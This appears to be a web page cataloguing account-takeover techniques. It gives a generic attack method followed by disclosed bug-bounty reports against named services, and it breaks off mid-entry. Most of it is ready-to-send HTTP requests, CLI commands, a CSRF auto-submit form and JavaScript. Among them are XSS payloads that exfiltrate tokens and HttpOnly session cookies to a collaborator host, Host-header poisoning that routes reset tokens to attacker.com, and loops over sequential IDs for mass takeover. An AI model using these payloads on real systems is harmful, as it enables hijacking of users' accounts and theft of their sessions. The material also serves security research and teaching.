# Canary differential β send V's address into A's change-email flow:
POST /settings/email HTTP/1.1
Host: TARGET
email=VICTIM@target.tld
# tell 1: confirmation lands in the ATTACKER inbox -> old-address routing (#791775)
# tell 2: the link's token verifies ANY address -> unbound token (#244636 #910300)
Pick the route by which primitive you already hold; each ends in a live victim session.
The single richest surface. The verification is defeated if the confirmation link reaches an inbox you control, or if the token isn't bound to the exact new address. Change your email to the victim's, then catch or forge the confirmation.
# Confirmation link mailed to the OLD (attacker) address -> attacker confirms victim's email (#791775)
POST /account/email HTTP/1.1
Host: TARGET
email=VICTIM@target.tld
# link arrives at ATTACKER@evil.tld (the current address) -> click while logged in -> confirmed
# Desync "shown" vs "confirmed" with an intercepting proxy (#910300)
# Burp > Proxy > Match and Replace (Request body):
# Match: attacker@wearehackerone.com
# Replace: victim@wearehackerone.com
# toggle ON at the change-email step, OFF before clicking the real confirmation link
The classic. Mint a token you're entitled to, then redeem it against the victim by swapping a client-supplied id/email/username. If the token doesn't resolve its own subject, you own arbitrary accounts.
# Invite token not bound to the invited email -> redeem with ?email=VICTIM (#242765)
POST /invites/link HTTP/1.1
Host: TARGET
X-CSRF-Token: <valid>
email=anything@x.com
# -> returns https://TARGET/invites/{token} (do NOT click)
GET /invites/redeem/{token}?email=VICTIM@target.tld HTTP/1.1
Host: TARGET
# -> authenticated session as VICTIM
# Reset token validated against the URL id, not the token's subject (#1685970 #566811)
POST /reset HTTP/1.1
Host: TARGET
Content-Type: application/json
{"token":"<A_TOKEN>","account":"<V_ID>"} # reset applies to V despite being minted for A
# Overwrite the victim's email on an account-update endpoint, then reset -> login (#1685970)
POST /accounts/<V_ACCOUNT_NUMBER> HTTP/1.1
Host: app.TARGET
Content-Type: application/x-www-form-urlencoded
user[email]=attacker@evil.tld
# increment ACCOUNT_NUMBER in a loop -> mass ATO
# Leaky read + follow-up action = zero-click ATO (#915114)
GET /users/invite-user.php?id=<V_ID>&popup=1 HTTP/1.1
Host: app.TARGET
# response returns V's email; submit the "Update Permissions" action -> logged in as V
# ids run 00010006 .. 19920500+ -> scriptable
Verification that the client can influence is no verification. Flip a client-trusted response, exploit a shared pre-auth token, or IDOR the 2FA enrollment onto the victim.
# Client-trusted OTP outcome β flip the flag (#2762462 #3228888)
POST /otp/verify HTTP/1.1
Host: TARGET
msisdn=VICTIM&otp=000000
# intercept the response, rewrite to:
# {"status":200,"message":"success","msisdn":"VICTIM","success":true}
# client treats verification as passed -> number/account linked
# IDOR 2FA-enroll on the victim id + credential-less verify (#810880)
POST /api/2fa {"id":"<V_ID>"} # binds ATTACKER's secret to V
POST /api/2fa/verify {"id":"<V_ID>","code":"<valid_totp>"} # no session token -> logged in as V
# Shared pre-auth token: victim's own OTP validates the attacker's copy (#1245762)
POST /SessionCreate {"phone":"<VICTIM_MSISDN>"} # returns token T (SAME for every caller)
# poll until the victim enters their SMS code:
GET /Me # with T -> 200 = live victim session
"Link SSO on first login" is takeover-able if you can set an unlinked account's email to one you control in the trusted domain β or register the victim's email unverified before they ever use social login.
# Set an unlinked staff/owner email to your address in the SSO domain, then log in via SSO (#892904 #3178999)
POST /graphql-proxy/admin HTTP/1.1
Host: pos-channel.TARGET
# operation: StaffMemberUpdate -> variables.email = attacker@<victim-google-apps-domain>
# then "Sign in with Google" using that email -> you land in the victim's account, now linked to you
# OAuth pre-ATO: pre-register the victim's email unverified; merge happens on their first social login (#1074047)
POST /signup HTTP/1.1
Host: TARGET
email=VICTIM@target.tld&password=attacker_pw # left unverified
# victim later "Sign in with Google" (same email) -> merges into attacker's account
# attacker still holds the signup password
UI restrictions are frequently client-side only. When an app fronts a managed IdP (Cognito/Firebase/Auth0) or exposes read-only form fields, hit the real backend directly.
# App blocks email change in its UI only β drive the Cognito API with the account token (#1342088)
aws cognito-idp update-user-attributes --region us-east-1 \
--access-token <ATTACKER_TOKEN> \
--user-attributes Name=email,Value=Victim@TARGET.tld
# email now == victim (differs only by case: Victim vs victim), email_verified=false
# app never checks email_verified at login and normalizes case -> log in as victim
// Read-only fields are client-side only β override the underlying JS data object (#867513)
window.RailsData.current_organization.business_email = "attacker@ex.com";
window.RailsData.user.email = "attacker@ex.com";
// then replay the captured identity-save request with email=VICTIM -> "verified" identity, no re-verify
# Allowlisted-redirect XSS on a trusted sibling exfiltrates the auth token (#3081691)
GET /login/?redirectUrl=https%3A%2F%2Fmarketing.TARGET%2F...%3Fredirect_url%3Dx%22%3E%3C%2Fa%3E%3Cscript%3Efetch(%27https%3A%2F%2FCOLLAB%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Awindow.location%7D)%3C%2Fscript%3E HTTP/1.1
Host: auth.TARGET
# victim is authenticated when redirected -> leaked token -> mint JWT -> full panel
// Cookie-write endpoint + reflected XSS reads the HttpOnly session cookie same-origin (#534450)
// 1. use a *.TARGET cookie-setter endpoint to plant a cookie whose value is a </noscript><script> payload
// 2. victim visits a page that reflects that cookie unescaped -> XSS runs same-origin
// 3. injected JS reads the HttpOnly session via the same cookie endpoint:
fetch('https://sub.TARGET/cookies?name=SESSION', {credentials:'include'})
.then(r => r.text())
.then(d => navigator.sendBeacon('https://COLLAB/', d));
# Host-header injection poisons the OAuth redirect -> oauth_token lands on the attacker (#317476)
GET /i/twitter/login?csrf=... HTTP/1.1
Host: attacker.com/www.periscope.tv
# meta-refresh builds the callback from Host -> victim's oauth_token delivered to attacker.com
If a state-changing account action has no anti-CSRF, you set the victim's email/password/security-answer from an attacker page. Content-type is not a control.
<!-- Single-request profile CSRF sets the password -> ATO (#670924, canonical chain #6910) -->
<form action="https://TARGET/account/update" method="POST">
<input name="email" value="attacker@evil.tld">
<input name="password" value="attacker_pw">
</form>
<script>document.forms[0].submit()</script>
<!-- if the endpoint only accepts JSON, resend as form-urlencoded to dodge the CSRF check (#1624421) -->
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 101 in this class.
Real-world example
Password reset to attacker via email-array parameter pollution
β Critical
Specimen #2293343 Β· gitlab Β· 35000 Β· 946 votes Β· resolved
Program gitlabSurface webTag account-takeover
Root cause
The password-reset endpoint accepts the email as a JSON array; the app sends the reset link to every address in the array while still resolving the account by the first (victim) address.
Method
- Submit 'Forgot Password' for the victim, intercept the request
- Convert the form body to JSON
- Replace the single email with an array containing victim and attacker addresses
- Forward; the reset link arrives in the attacker inbox too
- Use the link to set a new password and log in as victim
{
"user": {
"email": [
"victim@gmail.com",
"attacker@gmail.com"
]
}
}
Insight β Whenever a recipient is derived from user input, try turning the scalar into an array (or add a duplicate param) β the app often loops the array for delivery but keys the account off element[0]. Test JSON arrays, duplicated form keys, and comma-joined values.
Real-world example
Login-as-any-user via client-supplied user_id in OTP logout
β Critical
Specimen #921780 Β· snapchat Β· awarded Β· 968 votes Β· resolved
Program snapchatSurface apiTag account-takeover
Root cause
The /scauth/otp/droid/logout endpoint trusts the user_id in the request body instead of the authenticated session, and returns a valid one-tap-login (OTP) token for whatever user_id is supplied. That token then authenticates /scauth/otp/login.
Method
- Log in normally to attacker account
- Call the OTP logout endpoint but replace user_id in the JSON body with the victim's user_id (obtainable via friends API)
- Server returns a SUCCESS with an OTP token bound to the victim
- Call /scauth/otp/login with the victim username + that token to obtain victim access/refresh tokens
POST /scauth/otp/droid/logout HTTP/1.1
Host: gcp.api.snapchat.com
Content-Type: application/json; charset=utf-8
{"user_id":"<VICTIM_USER_ID>","device_id":"<ATTACKER_DEVICE>","device_name":"x"}
-> response: {"status":"SUCCESS","user_id":"<VICTIM_USER_ID>","token":"<OTP_TOKEN>"}
Then: POST /scauth/otp/login (username=<VICTIM>&token=<OTP_TOKEN>&...)
Insight β Whenever a logout/token/refresh endpoint accepts an identity parameter (user_id, uid, account_id) in the body, test swapping it for a victim's id. Auth material minted from an attacker-authenticated call but keyed on an attacker-controlled identity is a classic full-ATO primitive.
Real-world example
ATO via direct AWS Cognito API + unverified-email login + email normalization
β Critical
Specimen #1342088 Β· flickr Β· awarded Β· 437 votes Β· resolved
Program flickrSurface cloudChain Cognito email change -> unverified email accepted at logiTag cloud-awsTag account-takeover
Root cause
Flickr uses Cognito but blocks email change only in its own UI. Talking directly to the Cognito User Pool API with the account access_token lets you change the email; the app then (1) never checks email_verified on login and (2) normalizes case, so an attacker-set unverified email collides with the victim's.
Method
- Intercept the login to cognito-idp.<region>.amazonaws.com to grab AccessToken (USER_PASSWORD_AUTH)
- Use aws cognito-idp update-user-attributes to set email to the victim's address (differing only by case, now email_verified=false)
- Log in to the app using the exact-case victim email + attacker password; app trusts it despite unverified
aws cognito-idp get-user --region us-east-1 --access-token <ATTACKER_TOKEN>
aws cognito-idp update-user-attributes --region us-east-1 \
--access-token <ATTACKER_TOKEN> \
--user-attributes Name=email,Value=flickr-Benign@victim.tld
# email now = victim (different case), email_verified=false
# login with that email + attacker password succeeds
Insight β When an app fronts Cognito/Firebase/Auth0, test the raw IdP API directly - UI-only restrictions (email change, verification) are often not enforced server-side. Always test: does login check email_verified? Are emails compared case/normalization-insensitively, enabling collisions?
Real-world example
Email-verification bypass on legacy accounts via Burp match/replace
β Critical
Specimen #910300 Β· shopify Β· awarded Β· 559 votes Β· resolved
Program shopifySurface webChain email-verification bypass -> SSO identity bind -> fullTag account-takeover
Root cause
Email ownership for legacy accounts was inferred from client-controllable state instead of a per-change confirmation token; by toggling the outgoing/rendered email between attacker and victim with an intercepting proxy, the app confirmed the victim address and merged it into an SSO identity the attacker controlled.
Method
- Create a store via Partners; leave email unverified.
- On account settings change email to the victim's address, but use Burp Match & Replace to rewrite your email <-> victim email so the app state and the confirmation flow disagree.
- Trigger actions (upload photo/save, refresh) that persist the victim email while a real confirmation link is sent to an address you own.
- Click the confirmation link while logged in, then 'Review accounts' -> 'Set up Shopify ID' to bind the confirmed victim email to your SSO identity and take over the store.
Burp -> Proxy -> Options -> Match and Replace:
Type: Request body
Match: your_email@wearehackerone.com
Replace: victim_email@wearehackerone.com
(toggle on/off between the change-email step and the confirmation-link click)
Insight β When email verification depends on multi-step client state rather than a fresh server-side token bound to the exact address, an interception/match-replace toggle can desync 'address shown' from 'address confirmed'. Test any change-email + confirm flow by swapping the value mid-flow.
Real-world example
POS graphql-proxy staff email update bypasses email verification
β Critical
Specimen #867513 Β· shopify Β· awarded Β· 2993 votes Β· resolved
Program shopifySurface apiChain email-verify bypass -> verified Shopify ID -> SSO accoTag graphqlTag account-takeover
Root cause
A secondary GraphQL endpoint (pos-channel graphql-proxy) let a staff member set their email with no confirmation; combined with partner-dashboard dev-store creation this produced a 'verified' account for an email the attacker never proved ownership of, enabling Shopify-ID account merge/takeover.
Method
- Create a development store via partners.shopify.com
- Override the read-only shop/business email in the browser via window.RailsData before submit, to an attacker-owned non-Shopify email, and confirm it
- Add POS sales channel, open POS > Staff, capture the staff-save cURL
- Replay the staff-save request with the victim's email in the email field
- Refresh profile -> prompted to merge/create a Shopify ID with the now 'verified' victim email, no re-verification
window.RailsData.current_organization.business_email = "attacker@ex.com";
window.RailsData.user.email = "attacker@ex.com";
# then replay POS staff-save cURL with email=victim@target.com
Insight β Look for secondary/mobile/proxy GraphQL or REST endpoints that mutate identity fields (email, phone) without the confirmation the primary UI enforces; a 'verified' flag set on one path is trusted everywhere.
Real-world example
Email change confirmation link mailed to OLD address confirms arbitrary email
β Critical
Specimen #791775 Β· shopify Β· awarded Β· 1913 votes Β· resolved
Program shopifySurface webChain email-verify bypass -> SSO account merge -> master pasTag account-takeover
Root cause
The email-change flow sent the confirmation link for the NEW address to the account's CURRENT (old) address; an attacker changes their email to a victim's address and receives the confirmation link themselves, verifying an address they do not own, then leverages SSO account merge to set a master password across all stores under that email.
Method
- Sign up a free Shopify trial with attacker@ex.com
- In Your Profile change email to victim@target.com and save
- Confirmation email arrives at attacker@ex.com (the old address)
- Click it -> victim@target.com is now confirmed on the attacker's account
- Use the SSO 'integrate accounts' prompt to set a master password over the victim's stores
POST profile email change: email=victim@target.com (confirmation link is delivered to attacker@ex.com)
Insight β Always test WHICH mailbox receives an email-change confirmation link; if it goes to the old/current address the whole verification is defeated. Then chain to SSO/account-merge for full ATO.
Real-world example
Set any user's password via unauthenticated passwordless-signup state machine
β Critical
Specimen #143717 Β· uber Β· awarded Β· 310 votes Β· resolved
Program uberSurface apiTag account-takeover
Root cause
The /rt/users/passwordless-signup endpoint accepts a phone number plus state=CREATE_NEW_PASSWORD and newPasswordData, and sets that password for the existing account with no ownership proof - the signup state machine can be driven directly to the reset state.
Method
- Create a rider account to learn the request shape
- Replay the passwordless-signup request with the victim's phoneNumberE164 and a chosen newPassword
- Repeat if needed until 'New password has been created'
- Log in as victim with the new password
POST /rt/users/passwordless-signup HTTP/1.1
Host: cn-geo1.uber.com
Content-Type: application/json
{"phoneNumberE164":"+<VICTIM>","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}
Insight β State-machine auth endpoints (workflow/state/nextState params) often let you jump straight to a privileged state (CREATE_NEW_PASSWORD) without completing prior steps. Fuzz the state/workflow enum values against an existing victim identifier.
Real-world example
0-click ATO by swapping client-supplied JWT/session in password reset
β Critical
Specimen #2831902 Β· remitly Β· awarded Β· 279 votes Β· resolved
Program remitlySurface apiTag account-takeoverTag jwt
Root cause
The password_reset/start endpoint returns/relies on a client-held JWT + AMP session identifying the account being reset; replacing the attacker's JWT/session values with the victim's lets the attacker-initiated reset (with attacker's own OTP) apply to the victim.
Method
- Start password reset for both attacker and victim
- Capture the /orchestrator/v1/password_reset/start response that contains a JWT (identify with the JWT Burp plugin)
- Complete the attacker's own OTP step
- Before finalizing, replace the attacker's AMP session + JWT with the victim's captured values
- Submit -> victim's password is reset
# swap in the reset request body/headers:
AMP_d0cf3ed24c=<VICTIM_AMP>
JWT=<VICTIM_JWT_from_password_reset_start>
Insight β When a reset/OTP flow trusts a client-supplied token to say WHOSE account is being changed, try completing the flow with your own OTP but the victim's identity token. Identify the account-binding token (JWT/opaque session) and swap only that field.
Real-world example
Mass ATO via IDOR email-change + reset token not bound to user
β Critical
Specimen #1685970 Β· stripe Β· awarded Β· 210 votes Β· resolved
Program stripeSurface webChain IDOR email overwrite / unbound reset token -> ATO -> sTag account-takeover
Root cause
TaxJar's accountant-access flow trusted the account number in POST /accounts/<ACCOUNT_NUMBER> and let you add a userEmail param to change that account's email; separately the password-reset token was validated against the URL-supplied account ID rather than the token's own user - both enabling automated takeover of arbitrary accounts.
Method
- Authenticate as any user
- POST to /accounts/<victim_account_number> including your email in the payload to overwrite the victim's email
- Loop account numbers to hit many accounts (mass ATO)
- Alternatively, drive password reset supplying a mismatched account ID that the token check ignores
POST /accounts/<ACCOUNT_NUMBER> HTTP/1.1
Host: app.taxjar.com
Content-Type: application/x-www-form-urlencoded
... user[email]=attacker@evil.tld ...
# increment ACCOUNT_NUMBER in a loop -> mass ATO
Insight β Two recurring IDOR patterns: (1) a state-changing POST keyed on a guessable/sequential account id lets you edit others' records (add an email param to hijack), and (2) a reset/verify token validated against a client-supplied id instead of the token's bound subject. Always test whether the token, not the URL id, determines the target user.
Real-world example
IDOR on user-edit endpoint escalating to zero-click account takeover
β Critical
Specimen #915114 Β· automattic Β· awarded Β· 202 votes Β· resolved
Program automatticSurface webChain IDOR read (email) -> Update Permissions action -> fullTag account-takeover
Root cause
invite-user.php?id=<userid> resolves any sequential user id with no ownership check, returns the victim's email, and the follow-up 'Update Permissions' action authenticates the attacker into that account.
Method
- Log into a team account
- GET /users/invite-user.php?id=<victim_id>&popup=1 - response shows victim email
- Iterate id over the sequential range (00010006 - 19920500+)
- Click/submit 'Update Permissions' to be logged into the victim's account
GET /users/invite-user.php?id=19920465&popup=1 HTTP/1.1
Host: app.crowdsignal.com
Insight β An IDOR that both leaks PII and drives an auth/permission action escalates to ATO. Sequential user ids make it mass-exploitable. Always test the action that follows the leaky read.
Real-world example
Email-verification bypass via mutable EmailAddress on user-provision endpoint
β Critical
Specimen #2718253 Β· insightly Β· awarded Β· 144 votes Β· resolved
Program insightlySurface webTag account-takeover
Root cause
The signup/provisionuser endpoint trusts the client-supplied EmailAddress and provisions/verifies the account without re-verifying ownership, letting an attacker create/verify an account under an arbitrary or existing user's email.
Method
- Start signup at accounts.insightly.com/signup with your own email
- Intercept the request to /signup/provisionuser
- Change EmailAddress to the victim's email
- Submit - account is created/associated to that email without any verification, redirecting into the account
POST /signup/provisionuser
...
{"EmailAddress":"victim@target.com", ...}
Insight β On multi-step signup, look for a final 'provision/create user' call where the email is re-sent as a parameter; swapping it to a target address often skips verification and pre-registers/takes over the account.
Real-world example
OTP delivery-target injection via pipe-delimited alternate-number field
β Critical
Specimen #2542372 Β· mtn_group Β· none Β· 122 votes Β· resolved
Program mtn_groupSurface webChain OTP recipient injection -> receive victim OTP -> full Tag account-takeover
Root cause
The self-service login accepted an 'alternate number' in the msisdn field; supplying the victim's primary number together with an attacker-controlled number (pipe-separated) caused the OTP for the victim's account to be sent to the attacker's number, granting full account takeover.
Method
- Start login/OTP flow for the victim's primary MSISDN
- Inject an attacker-controlled number as the alternate via the msisdn field
- OTP is delivered to the attacker's number
- Complete login to the victim's account
{"msisdn":"<VICTIM_PRIMARY>|<ATTACKER_NUMBER>"} // OTP sent to ATTACKER_NUMBER
Insight β Wherever an OTP/reset code destination is derived from user input (alternate email/phone, arrays, delimiter-joined values), test injecting a second attacker-controlled recipient. Delimiters (| , ; space) often split into multiple send targets.
Real-world example
OTP verification response manipulation (success:false -> true)
β Critical
Specimen #2762462 Β· mtn_group Β· none Β· 96 votes Β· resolved
Program mtn_groupSurface webChain OTP bypass -> add+verify attacker number OR verify victimTag account-takeover
Root cause
OTP verification result is decided client-side from the server response body; with no integrity check, flipping success/status in the response links an attacker-controlled phone number to the victim (or verifies the victim's number for the attacker).
Method
- Start login/registration, enter victim MSISDN, request OTP
- Submit a wrong OTP and intercept the verify response
- Rewrite response body success:false->true / status:400->200
- Client treats verification as passed; number/account is linked -> ATO
POST /mtn_otp/index/verification/ HTTP/2
ajax=1&action=verifyotp&msisdn=VICTIM&otp=000000
--- flip response to: ---
{"status":200,"message":"success","msisdn":"VICTIM","success":true}
Insight β Any OTP/phone-verify flow: try a wrong code, intercept the response, flip the success flag. If server state changes based on the client believing verification passed, you bypass SMS/2FA entirely without owning the number.
Real-world example
Account takeover via invite-redeem endpoint trusting email param
β Critical
Specimen #242765 Β· discourse Β· $1024 Β· 75 votes Β· resolved
Program discourseSurface webChain Mint invite token -> redeem with ?email=victim -> fullTag account-takeover
Root cause
Discourse's invite-link creation returns a token, and the redeem endpoint logs a user into the account matching an attacker-supplied ?email= without verifying the token was bound to that email, so any user with invite capability can log into arbitrary accounts.
Method
- As a user with invite capability (trust level >=2), POST /invites/link with a valid CSRF token to mint an invite token (don't click the returned link)
- Open /invites/redeem/<token>?email=victim@example.com in an incognito session
- You are logged in as the victim account
POST /invites/link (X-CSRF-Token: <valid>, body: email=anything@x.com)
// -> returns http://host/invites/{token}
GET /invites/redeem/{token}?email=victim@example.com
// -> authenticated session as victim@example.com
Insight β On invite/redeem, magic-link, and email-verification flows, test whether the email/identity is taken from a request parameter instead of being cryptographically bound to the token. If you can mint a token and redeem it against an arbitrary email, it's account takeover. Decouple token from the email param and swap it.
Real-world example
User-info API leaks password-reset hash -> account takeover
β Critical
Specimen #842625 Β· rocket_chat Β· none Β· 65 votes Β· resolved
Program rocket_chatSurface apiChain users.info IDOR field over-exposure -> leaked reset hash Tag account-takeover
Root cause
A low-privilege authenticated user can query users.info by userId and the response includes sensitive security fields including the password-reset token/hash, which can be replayed against the reset endpoint to set a new password for any user.
Method
- Login as a normal (e.g. LDAP) user
- GET /api/v1/users.list and copy a victim's _id
- GET /api/v1/users.info?userId=<victim_id> and read the reset hash from the response
- Visit /reset-password/<reset_hash> and set a new password
- Login as the victim
GET /api/v1/users.info?userId=<VICTIM_ID> HTTP/1.1
# response leaks reset token; then:
GET /reset-password/<RESET_HASH>
Insight β Over-exposed user/admin API objects (users.info, /me, admin serializers) frequently include reset tokens, MFA secrets, or session data. Enumerate every field an object endpoint returns for another user; a single leaked reset token is a full ATO primitive.
Real-world example
Cross-domain session reuse between sibling sites sharing a session store
β Critical
Specimen #876300 Β· starbucks Β· awarded Β· 259 votes Β· resolved
Program starbucksSurface webChain Weak sibling site session -> reuse PHPSESSID on card siteTag account-takeover
Root cause
An alternate Starbucks site shared the same database and session cookies with card.starbucks.com.sg; a PHPSESSID minted on the weaker site was valid on the sensitive site, enabling info view, password change and ATO.
Method
- Obtain a PHPSESSID via an endpoint on the alternate/sibling site
- Set that PHPSESSID on card.starbucks.com.sg
- Access victim info, change password, take over the account
Insight β Enumerate sibling domains that share a backend/session store. A session or cookie issued by a low-value related site may authenticate on a high-value one. Limited disclosure; mechanism per program summary.
Real-world example
IDOR escalated via parameter stripping to leak API client_id/secret
β Critical
Specimen #1695454 Β· automattic Β· awarded Β· 58 votes Β· resolved
Program automatticSurface webChain application[id] IDOR -> param strip -> validation erroTag oauthTag account-takeover
Root cause
An API-application update endpoint trusts application[id] from the body (IDOR); sending only application[id] + authenticity_token triggers a validation error whose response page renders the target application's Client ID and Client Secret.
Method
- Create an API application and capture the update POST to /api/applications
- Set application[id] to the victim's (sequential) application ID
- Remove all other params except application[id] and authenticity_token
- Send; the 'Name must be provided' error page renders the victim app's Client ID and Client Secret
- Use those credentials against the API (e.g. collaborator bulk-create) for account takeover
POST /api/applications HTTP/1.1
Content-Type: application/x-www-form-urlencoded
application%5Bid%5D=<VICTIM_APP_ID>&authenticity_token=<yours>
Insight β When a plain IDOR looks low-impact, force error/validation paths (strip required fields, send empty/invalid values) - error pages frequently re-render the loaded object including secret fields. Sequential app IDs make it mass-exploitable; leaked OAuth client_id/secret is an ATO primitive.
Real-world example
Email-change IDOR on sequential id -> password reset -> ATO
β Critical
Specimen #950881 Β· automattic Β· awarded Β· 50 votes Β· resolved
Program automatticSurface webChain email-change IDOR (id param) -> set victim email to attacTag account-takeover
Root cause
The change-email request carries an id parameter identifying whose email to change; it is not bound to the session, so an attacker sets any (sequential) user's email to one they control and then triggers a password reset to take over the account.
Method
- Login and open the account settings email-change form
- Change your email and intercept the save request
- Replace the id parameter with the victim's (sequential) user ID
- Forward to set the victim's email to an attacker address
- Use forgot-password to reset and take over the victim account
POST /cms/reader/account (change-email)
...&id=<VICTIM_SEQUENTIAL_ID>&email=attacker@evil.com
Insight β Email/phone-change endpoints that accept a user id in the body are the highest-value IDORs: overwrite the recovery address, then reset. Always test the id param on any profile-mutation request and confirm IDs are sequential for mass exploitation.
Real-world example
Profile-update IDOR (id+username) chained to password-reset ATO
β Critical
Specimen #1272478 Β· mtn_group Β· none Β· 34 votes Β· resolved
Program mtn_groupSurface webChain profile-update IDOR (id+username) -> password reset ->Tag account-takeover
Root cause
The profile-update endpoint trusts a client id and lets you rewrite another user's account (its username/email is the login), so you point their login at your address and reset the password.
Method
- Create attacker + victim accounts; capture attacker's profile-update request
- Set id to the victim's id and change the username (login) field, leaving email as attacker's
- Submit - victim account now bound to attacker-controlled login
- Run password reset, log in: full ATO with no victim interaction
Profile-update POST: change /Id to victim id and 'username' param to attacker-controlled value, then trigger reset
Insight β An IDOR that lets you edit the field used as the login identity (username/email) is a zero-interaction ATO - chain write-IDOR -> password reset.
Real-world example
Social login accepts unverified user id (fbid)
β Critical
Specimen #202921 Β· eternal Β· none Β· 32 votes Β· resolved
Program eternalSurface mobile-iosTag oauthTag account-takeover
Root cause
The Login-with-Facebook endpoint authenticated the user by the client-supplied fbid without verifying that the accompanying fb_token actually belonged to that Facebook id, so swapping fbid logged the attacker into any account.
Method
- Capture the app's /v2/auth.json Facebook login request
- Replace the fbid parameter with the victim's Facebook id
- Send the request and receive a session for the victim's account
- (Enumerate victim fbids via your own Facebook friends/graph)
POST /v2/auth.json?...&isFacebook=true
access_token=&client_id=..._ios_v2&fb_token=<attacker>&fbid=<VICTIM_FB_ID>
Insight β Server must verify the OAuth/social token server-side and derive identity from the token, never trust a separately-supplied user id. Test by keeping your token but swapping the id field.
Real-world example
Profile-update id/email swap -> account takeover (no old-password check)
β Critical
Specimen #969223 Β· deptofdefense Β· none Β· 29 votes Β· resolved
Program deptofdefenseSurface webChain IDOR (id swap) -> email change without re-auth -> forgTag account-takeover
Root cause
The profile-update POST trusts a client-supplied user id and lets you change the email without re-entering the old password; setting id to the victim and email to attacker-controlled rewrites the victim's email, then forgot-password completes full takeover.
Method
- Register + login as attacker, open the account/update page
- Intercept the profile-update POST and change the id parameter to the victim's id
- Set email to an attacker-controlled address; send -> victim's email is replaced
- Use forgot-password on the victim account to receive reset at the attacker email -> ATO (or victim is simply locked out)
POST /profile/update HTTP/1.1
Host: TARGET
Cookie: <attacker session>
...&id=VICTIM_ID&email=attacker@evil.com&...
Insight β On any 'update profile / change email' endpoint test: (1) is a client id/user_id field honored for the target row? (2) is the old password required for an email change? A 'no' to both is a direct ATO. Lower id values (id=1) often hit the admin.
Real-world example
Password reset with only a username (no token/verification) on F5 APM flow
β Critical
Specimen #566811 Β· deptofdefense Β· none Β· 26 votes Β· resolved
Program deptofdefenseSurface webChain tokenless password reset -> ATO -> SSO to associated aTag account-takeover
Root cause
A ForgotPasswordChangeRequest API accepted a username and a new password and overwrote the account password directly, with no email/SMS token, security question, or identity proof - only a generic session cookie was needed.
Method
- Hit the site to obtain valid (unauthenticated) session cookies
- POST the ForgotPasswordChangeRequest with the victim username and a chosen password
- Log in as the victim with the new password; pivot to linked SSO sites
POST /api/session/personalsettings/ForgotPasswordChangeRequest HTTP/1.1
Content-Type: application/json
Cookie: MRHSession=<valid_session>
{"Username":"<victim>","Password":"<new>","IsLimitedAccessAccount":false,"HasNagC":false,"HasNagF":false,"HasNagM":false,"HasNagN":false}
Insight β Test password-reset/change APIs for missing proof-of-identity: if the endpoint takes username+new-password with no token, it's a mass ATO. Also re-check SSO/downstream sites that claim a login method is 'disabled' - the backend often still honors it (enable the disabled form via devtools).
Real-world example
Password-change replay with attacker-chosen email
β Critical
Specimen #1058015 Β· deptofdefense Β· none Β· 24 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The first-login password-change endpoint trusts a client-supplied email field and sets the new password for that email without binding the request to the authenticated/one-time-password session, allowing password change for any account.
Method
- Complete the legit flow once to capture the password-change POST (note txtEMail and txtNewPassword)
- Start a login for any victim email with a random password and intercept
- Replace the request body with the captured change request, setting txtEMail=victim and txtNewPassword=attacker
- Submit and log in as the victim
POST /Login.aspx HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=...&txtEMail=[VICTIM_EMAIL]&txtNewPassword=[DESIRED_PASSWORD]&btnNewPassword=Submit
Insight β Any state-changing form that carries the target identity (email/user id) as a parameter is a candidate for horizontal takeover - swap the identifier and see if the server binds the action to the session or blindly trusts the field.
Real-world example
Password-reset link poisoning via Host header
β Critical
Specimen #1108874 Β· deptofdefense Β· none Β· 23 votes Β· resolved
Program deptofdefenseSurface webChain host header injection -> reset token leak -> full accoTag account-takeover
Root cause
The reset email builds the link from the request Host header (HTTP_HOST) instead of a fixed server name; an attacker sets Host to their domain so the victim's email contains an attacker-controlled link and the token leaks when clicked.
Method
- Submit the victim's email to the forgot-password endpoint
- Intercept the request and change Host (or add X-Forwarded-Host) to attacker.com
- Forward; the victim receives a reset email whose link points to attacker.com but carries the real token
- When victim clicks, the token lands in attacker's logs; use it to set a new password
POST /password/reset HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
# variants when Host is validated:
X-Forwarded-Host: attacker.com
Host: target.com\n\nHost: attacker.com (dup header)
Insight β On any reset/verification flow, tamper Host / X-Forwarded-Host / X-Forwarded-Server and check whether the emailed link host changes. Fix tell: app should use a configured SERVER_NAME, not HTTP_HOST.
Real-world example
User-preferences IDOR chained to stored XSS and ATO
β Critical
Specimen #854290 Β· palo_alto_software Β· none Β· 20 votes Β· resolved
Program palo_alto_softwareSurface apiChain Leak uuid from assignment API -> PUT preferences IDOR -&gTag account-takeover
Root cause
PUT /api/v1/user/preferences/<uuid> let a low-role team member overwrite any other member's profile (uuid leaked from a conversation-assignment API) including email, role and a signature field rendered without sanitization, giving stored XSS and an email-change ATO path.
Method
- As a low-role user, read a target member's UserUuid from /api/v1/conversation/assigned?assignedToUserUuid=...
- PUT /api/v1/user/preferences/<victim-uuid> with your cookie, changing email to attacker-controlled and injecting an XSS payload in signature.
- Victim opens preferences/mail page -> stored XSS fires with victim cookies.
- Use the changed email + forgot-password to reset the victim's password and take over the account.
PUT /api/v1/user/preferences/VICTIM_UUID HTTP/2.0
Host: api.outpost.co
Content-Type: application/json
Cookie: auth=ATTACKER_COOKIE
{"firstName":"x","email":"attacker@evil.tld","role":"USER","signature":"<p><img src=x onerror=alert(document.cookie)></p>"}
Insight β An update IDOR whose body contains a rendered field is a double primitive: overwrite email (ATO via reset) AND inject stored XSS. The victim uuid is usually discoverable from an assignment/list API. The same app's note-UUID IDOR (914331) is the weaker HTML-injection-only variant.
Real-world example
Chained ATO -> blind XSS (CSP bypass) -> IDOR admin -> headless-Chrome PDF SSRF
β Critical
Specimen #777241 Β· h1-ctf Β· none Β· 18 votes Β· resolved
Program h1-ctfSurface webChain email-sanitization ATO -> blind XSS + CSP bypass -> IDTag account-takeover
Root cause
Multiple independent flaws chained: inconsistent email sanitization lets a recovery token minted for a look-alike email authenticate the real account; unescaped chat render gives blind XSS; an admin name-change endpoint lacks authorization (IDOR); and the PDF converter runs headless Chrome with remote debugging open.
Method
